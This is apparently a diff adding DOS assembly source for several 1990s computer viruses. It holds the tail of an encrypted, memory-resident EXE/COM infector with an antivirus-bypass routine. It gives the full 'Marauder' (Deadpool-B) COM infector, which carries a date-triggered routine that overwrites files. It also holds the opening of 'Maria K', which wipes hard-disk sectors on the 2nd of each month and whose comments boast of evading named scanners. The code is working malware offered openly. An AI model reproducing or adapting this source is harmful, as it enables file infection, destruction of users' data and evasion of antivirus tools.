xor eax,eax
|
||||
xor ebx,ebx
|
||||
mov ax,word ptr ds:[EXE_Mod] ; Bytes on last page
|
||||
mov bx,word ptr ds:[EXE_Siz] ; Size/512
|
||||
shl ebx,9 ; Mul 512
|
||||
add eax,ebx ; Make progsize
|
||||
add eax,filecodelength ; Add code_size
|
||||
xor ebx,ebx
|
||||
mov bx,word ptr ds:[CLength]
|
||||
add eax,ebx ; Add decryptsize
|
||||
add eax,12 ; add InitCX,Loop etc
|
||||
mov ebx,eax
|
||||
shr ebx,9 ; Make new progsize/512
|
||||
and ax,01ffh ; Make modulo
|
||||
|
||||
mov word ptr ds:[EXE_Siz],bx
|
||||
mov word ptr ds:[EXE_Mod],ax
|
||||
|
||||
add word ptr ds:[EXE_Min],(code_size+100)/16
|
||||
mov word ptr ds:[EXE_Max],-1
|
||||
|
||||
pop eax ; Get CS:IP
|
||||
xor ebx,ebx
|
||||
mov bx,word ptr ds:[CLength] ; Length of decryptor
|
||||
add eax,ebx
|
||||
add eax,12 ; Add INIT_CX, INIT_SI etc
|
||||
add eax,VirStk-Code_Start ; Add pos of Stack
|
||||
|
||||
inc eax ; Add one byte and...
|
||||
and al,0feh ; ...make sure it's even
|
||||
|
||||
call FixSegOffs ; Fix so SP<10h
|
||||
|
||||
mov word ptr ds:[EXE_SP],ax ; Save new SS:SP
|
||||
shr eax,16
|
||||
mov word ptr ds:[EXE_SS],ax ; Save new SS:SP
|
||||
|
||||
mov bx,[File_H]
|
||||
|
||||
mov ax,4200h ; Go to SOF
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
mov ah,40h
|
||||
mov cx,18h ; Size of EXE-header
|
||||
mov dx,offset EXE_Header
|
||||
int 21h ; Write new header
|
||||
|
||||
SkipInfect:
|
||||
ret
|
||||
|
||||
FixSegOffs:
|
||||
mov ebx,eax
|
||||
xor ax,ax
|
||||
shl eax,12
|
||||
mov ax,bx
|
||||
FixSegOffsLoop:
|
||||
mov bx,ax
|
||||
cmp bx,10h
|
||||
jb short DoneFix
|
||||
add eax,00010000h - 00000010h ; 1 para up..
|
||||
jmp short FixSegOffsLoop
|
||||
DoneFix:
|
||||
ret
|
||||
|
||||
id db 'MANZON (c) '
|
||||
|
||||
db 'R' + 1
|
||||
db 'e' + 2
|
||||
db 'd' + 3
|
||||
db '-' + 4
|
||||
db 'A' + 5
|
||||
db '/' + 6
|
||||
db 'I' + 7
|
||||
db 'R' + 8
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:
|
||||
;+ Following code will check if virus is resident, +:
|
||||
;+ allocate memory, copy virus to memory, set the new +:
|
||||
;+ interrupt vector and transfer control to the program +:
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:
|
||||
|
||||
InstallVirus:
|
||||
pop si ; Get Start of virus+3
|
||||
push si ; Save it again for later use.
|
||||
push ds ; push PSP for later use
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+: Ceck if virus is active :+:+:+:+:+:+:+:+:+:+:+:
|
||||
|
||||
mov ax,0DCBAh
|
||||
int 21h
|
||||
cmp dx,ax
|
||||
je short Installed ; Virus found in memory
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+: Allocate memory for virus :+:+:+:+:+:+:+:+:+:+:+:
|
||||
|
||||
mov ah,4ah ; Get top of memory
|
||||
push ax
|
||||
mov bx,-1
|
||||
int 21h
|
||||
|
||||
sub bx,(code_size)/16+2 ; Resize memory allocation
|
||||
pop ax
|
||||
int 21h
|
||||
|
||||
mov ah,48h ; Allocate memory for Virus
|
||||
mov bx,(code_size)/16+1
|
||||
int 21h
|
||||
jc short Installed ; If error then exit
|
||||
|
||||
dec ax ; dec AX to get pointer to MCB
|
||||
mov es,ax
|
||||
mov word ptr es:[1],8 ; Set DOS as owner of memory
|
||||
sub ax,0fh ; 100 bytes from allocstart
|
||||
mov es,ax ; to get same offset in TSR-code
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+: Copy virus to memory :+:+:+:+:+:+:+:+:+:+:+:
|
||||
|
||||
sub si,6
|
||||
mov di,0100h
|
||||
mov cx,code_size
|
||||
rep movsb ; move 'em up
|
||||
|
||||
;****** Get adress of old INT21h and save it in the Do21-jump.
|
||||
|
||||
push es
|
||||
pop ds
|
||||
mov ax,3521h
|
||||
int 21h
|
||||
tbavfuck:
|
||||
cmp word ptr es:[bx],05ebh
|
||||
jne notbav
|
||||
cmp byte ptr es:[bx+2],0eah
|
||||
jne notbav
|
||||
les bx,es:[bx+3]
|
||||
jmp tbavfuck
|
||||
notbav:
|
||||
mov word ptr ds:[OldInt+2],es ; Save address to real INT
|
||||
mov word ptr ds:[OldInt],bx ; in the JMP-string
|
||||
|
||||
;****** Set new INT21h
|
||||
|
||||
mov dx,offset NewVect ; Set New interruptvector
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
|
||||
installed:
|
||||
pop ax ; Get PSP
|
||||
pop si
|
||||
sub si,106h
|
||||
cmp word ptr cs:[si+IPoffs],100h ; Are we in a COM-file
|
||||
je short RestoreComFile
|
||||
|
||||
RestoreExeFile:
|
||||
mov ds,ax ; Let ds contain PSP
|
||||
mov es,ax ; Let es contain PSP
|
||||
add ax,10h ; Get start of file
|
||||
|
||||
add word ptr cs:[si+Real_CS],ax ; Add start seg to CS
|
||||
add ax,word ptr cs:[si+Real_SS]
|
||||
mov ss,ax ; Get programs SS
|
||||
mov sp,word ptr cs:[si+Real_SP] ; Get programs SP
|
||||
sub sp,2 ; Fix right value for SP
|
||||
|
||||
push word ptr cs:[si+Real_CS]
|
||||
push word ptr cs:[si+Real_IP]
|
||||
xor ax,ax
|
||||
xor bx,bx
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov si,ax
|
||||
mov di,ax
|
||||
mov bp,ax
|
||||
retf
|
||||
|
||||
RestoreComFile:
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
|
||||
add si,offset buffer ; Restore real 3 first bytes
|
||||
mov di,0100h
|
||||
movsw
|
||||
movsb
|
||||
xor ax,ax
|
||||
xor bx,bx
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov si,ax
|
||||
mov di,ax
|
||||
mov bp,ax
|
||||
push 0100h
|
||||
ret
|
||||
|
||||
SimpleCryptEnd:
|
||||
|
||||
StartDecryptSimple:
|
||||
call GetIPLabel
|
||||
GetIPLabel:
|
||||
mov bp,sp
|
||||
mov si,[bp]
|
||||
sub si,GetIPLabel-SimpleCryptStart
|
||||
mov cx, SimpleCryptEnd-SimpleCryptStart
|
||||
Call DecryptSimple
|
||||
pop ax
|
||||
ret
|
||||
|
||||
EncryptDecryptSimple:
|
||||
mov si,offset SimpleCryptStart
|
||||
mov cx, SimpleCryptEnd-SimpleCryptStart
|
||||
call DecryptSimple
|
||||
ret
|
||||
|
||||
DecryptSimple:
|
||||
db 02eh,080h,034h ; xor byte ptr cs:[si],?
|
||||
DSRan db 0
|
||||
inc si
|
||||
loop DecryptSimple
|
||||
ret
|
||||
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
;+ Following code acts like a buffer in memory, and is not :+
|
||||
;+ included when the virus is written to a file. :+
|
||||
;+ (Normally known as the heap) :+
|
||||
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||
|
||||
filecodeend: ; Label to calculate code_size,
|
||||
; and to use when jumping to copy
|
||||
; of EWD-routine
|
||||
|
||||
ED_buf db ED_end-ED_start dup (?) ; space for copy of en EWD-routine
|
||||
|
||||
File_H dw ? ; Filehandle
|
||||
|
||||
; Space for the created decryptionroutine
|
||||
|
||||
InitCX1 db ?,?,? ; mov cx,virsize+(0 to 7)
|
||||
InitSI1 db ?,?,? ; mov si,offset start
|
||||
CCode1 dd ?,?,?,?,?,?,?,? ; 1 to 15 decryptrows
|
||||
dd ?,?,?,?,?,?,?
|
||||
dd ?,? ; + loop statement
|
||||
|
||||
; Space for the created encryptionroutine
|
||||
|
||||
CCode2 dd ?,?,?,?,?,?,?,? ; 1 to 15 decryptrows
|
||||
dd ?,?,?,?,?,?,?
|
||||
dd ?,?
|
||||
|
||||
EXE_Header: ; Structure
|
||||
EXE_Sig dw ? ; MZ or ZM
|
||||
EXE_Mod dw ? ; size - int(size/512)
|
||||
EXE_Siz dw ? ; size/512
|
||||
EXE_Rel dw ? ; Relocation iems
|
||||
EXE_SHe dw ? ; Size of header/16
|
||||
EXE_Min dw ? ; Min mem/16
|
||||
EXE_Max dw ? ; Max mem/16
|
||||
EXE_SS dw ? ; Stack Segement
|
||||
EXE_SP dw ? ; Stack Pointer
|
||||
EXE_CHK dw ? ; Checksum
|
||||
EXE_IP dw ? ; Instruction Pointer
|
||||
EXE_CS dw ? ; Code Segment
|
||||
EXE_Win db ? ; 40h if Windows EXE
|
||||
|
||||
VirStk: db 32 dup (?) ; Stack used by the virus (EXE only)
|
||||
|
||||
code_end:
|
||||
end start
|
||||
;===============================================================================
|
||||
@@ -0,0 +1,610 @@
|
||||
; "Marauder" Virus
|
||||
; AKA Deadpool-B
|
||||
;
|
||||
; By Hellraiser
|
||||
; Of Phalcon/Skism
|
||||
;
|
||||
; For virus reseach only
|
||||
;
|
||||
; I always wanted to release this source, so here it is. Now that it's been caught
|
||||
; take a look at whats inside.
|
||||
;
|
||||
; I know it's no great thing, but it's good to learn from. It contains basic
|
||||
; encryption, mutation, and INT 24 handling.
|
||||
;
|
||||
; I will be very upset if I see 100 new versions of this code with some lame kids
|
||||
; name in place of mine. So just use it to learn from, it's very straight foward.
|
||||
|
||||
|
||||
|
||||
code segment 'code'
|
||||
assume cs:code, ds:code, ss:code, es:code
|
||||
org 0100h
|
||||
|
||||
dta EQU endcode + 10
|
||||
headlength EQU headend - headstart
|
||||
bodylength EQU bodyend - bodystart
|
||||
encryptpart EQU bodyend - mixed_up
|
||||
part1size EQU part2 - part1
|
||||
part2size EQU parta - part2
|
||||
partasize EQU partb - parta
|
||||
partbsize EQU dude - partb
|
||||
mutants EQU chris - part1
|
||||
total_mutant EQU mutants / 2
|
||||
encryptlength EQU encryptpart / 2
|
||||
virus_size EQU headlength + bodylength + 5 ; head + body + int24 + 2
|
||||
drive EQU endcode + 110
|
||||
backslash EQU endcode + 111
|
||||
orig_path EQU endcode + 113
|
||||
dirdta EQU orig_path + 66
|
||||
myid EQU 88h
|
||||
toolarge EQU 65535 - virus_size
|
||||
fileattr EQU 21
|
||||
filetime EQU 22
|
||||
filedate EQU 24
|
||||
filename EQU 30
|
||||
|
||||
headstart:
|
||||
|
||||
jmp bodystart
|
||||
db myid
|
||||
headend:
|
||||
|
||||
realprogramstart:
|
||||
db 90h, 90h, 90h
|
||||
db 0cdh, 020h, 1ah, 1ah
|
||||
realprogramend:
|
||||
|
||||
bodystart:
|
||||
call deadpool
|
||||
deadpool:
|
||||
pop si
|
||||
sub si,offset deadpool
|
||||
call encrypt
|
||||
jmp chris
|
||||
|
||||
enc_code dw 0000h
|
||||
|
||||
encrypt proc near
|
||||
assume cs:code, ds:code, es:code, ss:code
|
||||
|
||||
part1_:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov cx, encryptlength
|
||||
mov bp, si
|
||||
add si, offset bodyend
|
||||
mov di,si
|
||||
std
|
||||
xor_loop:
|
||||
lodsw
|
||||
xor ax, [bp + enc_code]
|
||||
stosw
|
||||
loop xor_loop
|
||||
done_:
|
||||
mov si, bp
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
ret
|
||||
;nop
|
||||
|
||||
encrypt endp
|
||||
|
||||
|
||||
infect proc near
|
||||
|
||||
call encrypt
|
||||
int 21h
|
||||
call encrypt
|
||||
ret
|
||||
|
||||
infect endp
|
||||
|
||||
|
||||
mixed_up:
|
||||
|
||||
|
||||
|
||||
part1:
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
push ax
|
||||
mov cx, encryptlength
|
||||
mov bp, si
|
||||
add si, offset mixed_up
|
||||
mov di,si
|
||||
cld
|
||||
|
||||
part2:
|
||||
mov si, bp
|
||||
pop ax
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
|
||||
|
||||
|
||||
parta:
|
||||
mov bp, si
|
||||
add si, offset endcode
|
||||
mov di, si
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov cx, encryptlength
|
||||
std
|
||||
|
||||
partb:
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov si, bp
|
||||
|
||||
|
||||
dude:
|
||||
|
||||
; don't get any ideas lamer
|
||||
|
||||
hellraiser label byte
|
||||
idbuffer db 0cdh, 20h,' [Marauder] 1992 Hellraiser - Phalcon/Skism. '
|
||||
stringsize EQU ($ - hellraiser)
|
||||
|
||||
chris:
|
||||
|
||||
push es
|
||||
mov ax,3524h
|
||||
int 21h
|
||||
mov [si + word ptr oint24], bx
|
||||
mov [si + word ptr oint24 + 2], es
|
||||
pop es
|
||||
|
||||
mov ax, 2524h
|
||||
lea dx, [si + newint24]
|
||||
int 21h
|
||||
|
||||
push si
|
||||
mov ah, 47h
|
||||
xor dl,dl
|
||||
add si, offset orig_path
|
||||
int 21h
|
||||
|
||||
pop si
|
||||
mov ah,19h
|
||||
int 21h
|
||||
|
||||
add al, 41h
|
||||
mov byte ptr [si + offset drive], al
|
||||
|
||||
mov ax, '\:'
|
||||
mov word ptr [si + offset backslash], ax
|
||||
|
||||
;mov byte ptr [si + offset defaultdrive], al
|
||||
|
||||
|
||||
; here's my new tri-dimensional jmp displacement theory in play
|
||||
|
||||
push si
|
||||
pop bp
|
||||
|
||||
lea si, [bp + offset oldjmp]
|
||||
lea di, [bp + offset thisjmp]
|
||||
mov cx,04h
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
push bp
|
||||
pop si
|
||||
why:
|
||||
|
||||
mov ah,1ah
|
||||
lea dx,[si + dta]
|
||||
int 21h
|
||||
|
||||
mov ah,2ah
|
||||
int 21h
|
||||
|
||||
cmp dx, 0202h
|
||||
jne ff
|
||||
jmp smash
|
||||
|
||||
ff:
|
||||
mov ah,4eh
|
||||
lea dx,[si + filespec]
|
||||
mov cx, 07h
|
||||
|
||||
searchloop:
|
||||
|
||||
int 21h
|
||||
jnc here
|
||||
;jmp up
|
||||
|
||||
|
||||
|
||||
mov ah,1ah
|
||||
lea dx,[si + dirdta]
|
||||
int 21h
|
||||
|
||||
mov ah,3bh
|
||||
lea dx,[si + offset rootdir]
|
||||
int 21h
|
||||
jc at_root
|
||||
jmp why
|
||||
|
||||
at_root:
|
||||
cmp byte ptr [si + donebefore], 01h
|
||||
je notokey
|
||||
|
||||
mov al,01h
|
||||
mov [si + donebefore], al
|
||||
|
||||
mov ah,4eh
|
||||
xor cx,cx
|
||||
mov cl,13h
|
||||
|
||||
|
||||
lea dx, [si + dwildcards]
|
||||
ffdloop:
|
||||
|
||||
int 21h
|
||||
jnc okey
|
||||
jmp far ptr nofilesfound
|
||||
|
||||
notokey:
|
||||
mov ah,4fh
|
||||
jmp ffdloop
|
||||
|
||||
okey:
|
||||
mov ah,3bh
|
||||
lea dx, [si + offset dirdta + filename]
|
||||
int 21h
|
||||
jc notokey
|
||||
jmp why
|
||||
|
||||
|
||||
here:
|
||||
|
||||
mov bx, word ptr [si + offset dta + fileattr]
|
||||
mov word ptr [si + origattr], bx
|
||||
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
lea dx, [si + offset dta + filename]
|
||||
int 21h
|
||||
jc bad_file2
|
||||
|
||||
call openfile
|
||||
jc bad_file2
|
||||
|
||||
mov word ptr [si + offset handle], ax
|
||||
|
||||
mov bx, word ptr [si + offset dta + filedate]
|
||||
mov word ptr [si + origdate], bx
|
||||
mov bx, word ptr [si + offset dta + filetime]
|
||||
mov word ptr [si + origtime], bx
|
||||
|
||||
xchg bx, ax
|
||||
|
||||
mov ah, 3fh
|
||||
mov cx, 4
|
||||
lea dx, [si + oldjmp]
|
||||
int 21h
|
||||
|
||||
cmp byte ptr [si + offset oldjmp + 3], myid
|
||||
jne sick_of_it_all
|
||||
|
||||
bad_file:
|
||||
mov ax,4301h
|
||||
mov cx, word ptr [si + offset origattr]
|
||||
lea dx, [si + offset dta + filename]
|
||||
xor ch,ch
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
bad_file2:
|
||||
cmp ax, 05h
|
||||
je dumb
|
||||
cmp ax, 02h
|
||||
je dumb
|
||||
mov ah, 4fh
|
||||
jmp searchloop
|
||||
dumb:
|
||||
jmp nofilesfound
|
||||
|
||||
sick_of_it_all:
|
||||
|
||||
cmp word ptr [si + offset oldjmp], 5a4dh
|
||||
je bad_file
|
||||
|
||||
call seekeof
|
||||
|
||||
cmp ax,0010h
|
||||
jb bad_file
|
||||
cmp ax, toolarge
|
||||
jae bad_file
|
||||
|
||||
|
||||
sub ax,03h
|
||||
mov [si + newjmp + 2], ah
|
||||
mov [si + newjmp+ 1], al
|
||||
mov [si + newjmp + 3], myid
|
||||
mov ah, 0e9h
|
||||
mov [si + newjmp], ah
|
||||
|
||||
xor al,al
|
||||
mov [si + donebefore], al
|
||||
|
||||
inc word ptr [si + generation]
|
||||
|
||||
mov bp, si
|
||||
call enc_enc
|
||||
|
||||
tryagain:
|
||||
mov ah,2ch
|
||||
int 21h
|
||||
cmp dx, 0000h
|
||||
je tryagain
|
||||
mov word ptr [si + offset enc_code], dx
|
||||
|
||||
|
||||
mov cl, 8
|
||||
ror dx, cl
|
||||
mov word ptr [si + offset mutantcode], dx
|
||||
|
||||
cmp dl, 30
|
||||
jng encrypt_a
|
||||
jmp encrypt_b
|
||||
|
||||
|
||||
encrypt_a:
|
||||
;mov bp, si
|
||||
|
||||
lea si,[bp + offset part1]
|
||||
lea di,[bp + offset part1_]
|
||||
mov cx, part1size
|
||||
call dostring
|
||||
lea si,[bp + offset part2]
|
||||
lea di,[bp + offset done_]
|
||||
|
||||
mov cx, part2size
|
||||
call dostring
|
||||
|
||||
jmp attach
|
||||
|
||||
encrypt_b:
|
||||
|
||||
lea si,[bp + offset parta]
|
||||
lea di,[bp + offset part1_]
|
||||
mov cx, part1size
|
||||
call dostring
|
||||
|
||||
lea si,[bp + offset partb]
|
||||
lea di,[bp + offset done_]
|
||||
mov cx, part2size
|
||||
call dostring
|
||||
|
||||
attach:
|
||||
call enc_enc
|
||||
|
||||
mov si,bp
|
||||
mov ah,40h
|
||||
mov cx, bodyend - bodystart
|
||||
add cx, 5
|
||||
lea dx,[si + bodystart]
|
||||
call infect
|
||||
jc close_file
|
||||
|
||||
|
||||
call seektof
|
||||
|
||||
mov ah,40h
|
||||
mov cx, 4
|
||||
lea dx,[si + offset newjmp]
|
||||
int 21h
|
||||
|
||||
close_file:
|
||||
|
||||
|
||||
mov ax,5701h
|
||||
mov cx, word ptr [si + offset origtime]
|
||||
mov dx, word ptr [si + offset origdate]
|
||||
mov bx, word ptr [si + offset handle]
|
||||
int 21h
|
||||
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
mov ax,4301h
|
||||
mov cx, word ptr [si + offset origattr]
|
||||
lea dx, [si + offset dta + filename]
|
||||
xor ch,ch
|
||||
int 21h
|
||||
|
||||
|
||||
nofilesfound:
|
||||
|
||||
mov ah, 03bh
|
||||
lea dx, [si + offset drive]
|
||||
int 21h
|
||||
|
||||
restoredta:
|
||||
mov ah, 1ah
|
||||
mov dx, 080h
|
||||
int 21h
|
||||
|
||||
push si
|
||||
pop bp
|
||||
|
||||
mov ax, 2524h
|
||||
lea dx, [si + oint24]
|
||||
int 21h
|
||||
|
||||
lea si,[bp + offset thisjmp]
|
||||
mov di,100h
|
||||
|
||||
mov cx,04h
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
mov di, 0100h
|
||||
jmp di
|
||||
|
||||
smash proc near
|
||||
|
||||
call enc_enc
|
||||
mov ah, 4eh
|
||||
mov cx, 07h
|
||||
lea dx, [si + offset dwildcards] ;
|
||||
|
||||
r_loop:
|
||||
int 21h
|
||||
jc restoredta
|
||||
|
||||
call kill
|
||||
|
||||
mov ah, 4fh
|
||||
jmp r_loop
|
||||
|
||||
smash endp
|
||||
|
||||
dostring proc near
|
||||
|
||||
cld
|
||||
rep movsb
|
||||
ret
|
||||
|
||||
dostring endp
|
||||
|
||||
|
||||
enc_enc proc near
|
||||
|
||||
mov si, bp
|
||||
add si, offset part1
|
||||
mov di, si
|
||||
mov cx, total_mutant
|
||||
|
||||
loop_xor:
|
||||
lodsw
|
||||
xor ax, [bp + mutantcode] ;
|
||||
stosw
|
||||
loop loop_xor
|
||||
|
||||
mov si, bp
|
||||
ret
|
||||
|
||||
enc_enc endp
|
||||
|
||||
seektof proc near
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
ret
|
||||
|
||||
seektof endp
|
||||
|
||||
|
||||
seekeof proc near
|
||||
|
||||
mov ax,4202h
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
ret
|
||||
|
||||
seekeof endp
|
||||
|
||||
|
||||
openfile proc near
|
||||
|
||||
mov ax,3d02h
|
||||
lea dx, [si + offset dta + filename]
|
||||
int 21h
|
||||
|
||||
ret
|
||||
|
||||
openfile endp
|
||||
|
||||
kill proc near
|
||||
|
||||
call openfile
|
||||
jc return
|
||||
mov bx, ax
|
||||
|
||||
push bx
|
||||
|
||||
call seekeof
|
||||
|
||||
mov bx, stringsize
|
||||
div bx
|
||||
mov cx, ax
|
||||
pop bx
|
||||
push cx
|
||||
|
||||
call seektof
|
||||
pop cx
|
||||
|
||||
|
||||
loop_:
|
||||
push cx
|
||||
mov ah, 40h
|
||||
mov cx, stringsize
|
||||
lea dx, [si + offset idbuffer]
|
||||
int 21h
|
||||
jc ender
|
||||
pop cx
|
||||
dec cx
|
||||
jcxz ender
|
||||
jmp loop_
|
||||
ender:
|
||||
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
return:
|
||||
ret
|
||||
|
||||
kill endp
|
||||
|
||||
|
||||
filespec db '*.COM',0
|
||||
dwildcards db '*.*',0
|
||||
rootdir db '..',0
|
||||
generation dw 0000
|
||||
origdate dw ?
|
||||
origtime dw ?
|
||||
origattr db ?
|
||||
handle dw ?
|
||||
defaultdrive db ?
|
||||
oldjmp db 09h, 0cdh, 020h, 90h
|
||||
thisjmp db 4 dup (?)
|
||||
newjmp db 4 dup (?)
|
||||
mutantcode dw 0000
|
||||
donebefore db 00
|
||||
oint24 dd 00
|
||||
|
||||
bodyend:
|
||||
|
||||
; not encrypted
|
||||
|
||||
newint24:
|
||||
xor al,al
|
||||
iret
|
||||
endcode:
|
||||
|
||||
code ends
|
||||
end headstart
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,625 @@
|
||||
; VirusName : Maria K..
|
||||
; Country : Sweden
|
||||
; Author : The Unforiven / Immortal Riot
|
||||
; Date : 26/09/1993
|
||||
;
|
||||
; This is a mutation of the "Bobvirus" written by Phalcon/Skism,
|
||||
; Many thanks must go to the scratch coder of this one..(DA?)
|
||||
;
|
||||
; Mcafee Scan used to find this as "Cloud" Virus, But also
|
||||
; as the "Beta" Virus. So..two guys in this little babe...
|
||||
;
|
||||
; This is a non-overwriting .COM files infector, it doesn't do
|
||||
; anything to .EXE files, nor command.com. This goes memory
|
||||
; resident. When it "goes-off", it prints out a "BOBism" every
|
||||
; 5 minutes. If the virus finds itself in the memory, it will not
|
||||
; go up again. It will NOT infect a program when you starts it,
|
||||
; it's just the "printer-part" who is in memory"..
|
||||
;
|
||||
; This version is not encrypted as the original one, but instead,
|
||||
; a hd-trasher has been added, so if some infected file is ran
|
||||
; at the 2:nd every month, someone (me), will be very pleased..
|
||||
;
|
||||
; Scan v108 can't find this, BUT! S&S Toolkit 6.54 do find it!
|
||||
; F-Prot (2.09) DON'T find this and TBScan can't identify it
|
||||
; as the "original" virus, It says it's some "Unknown Virus".
|
||||
;
|
||||
; Okey, think that's all, have phun, and remember,
|
||||
; livi'n ain't no crime!
|
||||
;
|
||||
|
||||
CODE SEGMENT PUBLIC 'CODE'
|
||||
ORG 100h
|
||||
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
|
||||
|
||||
DTA_fileattr EQU 21
|
||||
DTA_filetime EQU 22
|
||||
DTA_filedate EQU 24
|
||||
DTA_filesize EQU 26
|
||||
DTA_filename EQU 30
|
||||
|
||||
virus_marker equ 026FFh ; JMP WORD PTR
|
||||
virus_marker2 equ 00104h ; 0104h
|
||||
part1_size equ part1_end - part1_start
|
||||
part2_size equ part2_end - part2_start
|
||||
offset_off equ duh2
|
||||
init_delay equ 5280 ; Initial delay
|
||||
delay equ 400 ; Subsequent delay
|
||||
num_Messages equ 7 ; Number of "Bob" messages
|
||||
waves equ 7 ; Number of waves to go off after
|
||||
infec_date equ 0606h ; Swedish National Day (0606)..
|
||||
|
||||
Counter equ 108h
|
||||
D_Mess equ 110h
|
||||
Int_08_Start equ 112h
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; S&S Toolkit 6.54 (FindViru) "string" is placed at the "jmp word ptr duh",
|
||||
; If you finds something to add here, then do! The place he placed his
|
||||
; string is there the virus identify itselves, and I've failed with get
|
||||
; the virus to work after some dully attempt to add some meanless shit.
|
||||
; Anyhow..I must say that Alan kicks my ass here!..Eat my shorts!..
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
part1_start:
|
||||
jmp word ptr duh
|
||||
duh dw middle_part_end - part1_start + 100h
|
||||
duh2 dw 0
|
||||
part1_end:
|
||||
|
||||
middle_part_start:
|
||||
middle_part_end:
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
;Part 2 begins: Dis is the D-Cool part
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
part2_start:
|
||||
cld
|
||||
call decrypt
|
||||
mov si, offset Go
|
||||
add si, offset_off
|
||||
jmp si
|
||||
|
||||
encrypt_val db 00h
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; Encrypt/Decrypt isn't really a "Crypt" Routine. Instead, it will check
|
||||
; what day it if, and if it's the second (2:nd) any month, procedure Stone-
|
||||
; Heart will blow off. Stoneheart makes your "heart"-drives be quite empty.
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
DECRYPT:
|
||||
ENCRYPT:
|
||||
mov ah,2ah ; Day-Checking..
|
||||
int 21h ;
|
||||
cmp dl,02 ; Check if day 02..
|
||||
je STONEHEART ; If So..you're a lucky guy
|
||||
jmp SORRY ; Otherwise..try with "date 02"..
|
||||
|
||||
STONEHEART: ; Name of her..
|
||||
cli ;
|
||||
mov ah,2 ; Starting right on..
|
||||
cwd ; Starting it from 0.
|
||||
mov cx,0100h ; Continue to 256....
|
||||
int 026h ; No Exchauses!
|
||||
jmp MARIA ; Jump For Joy..(J4J)..
|
||||
|
||||
MARIA: ; Yeah, her's other handle..
|
||||
CLI ;
|
||||
MOV AL,3 ; Continue with drive D..
|
||||
MOV CX,700 ; Make drive d's heart fall apart..
|
||||
MOV DX,00 ; Start from sector 0
|
||||
MOV DS,[DI+99] ; Put random crap in DS
|
||||
MOV BX,[DI+55] ; More crap in BX
|
||||
CALL STONEHEART ; J4J..once again..
|
||||
|
||||
SORRY: ; I'm feeling soo sorry for you!
|
||||
RET ; Cuz you managed to return!
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
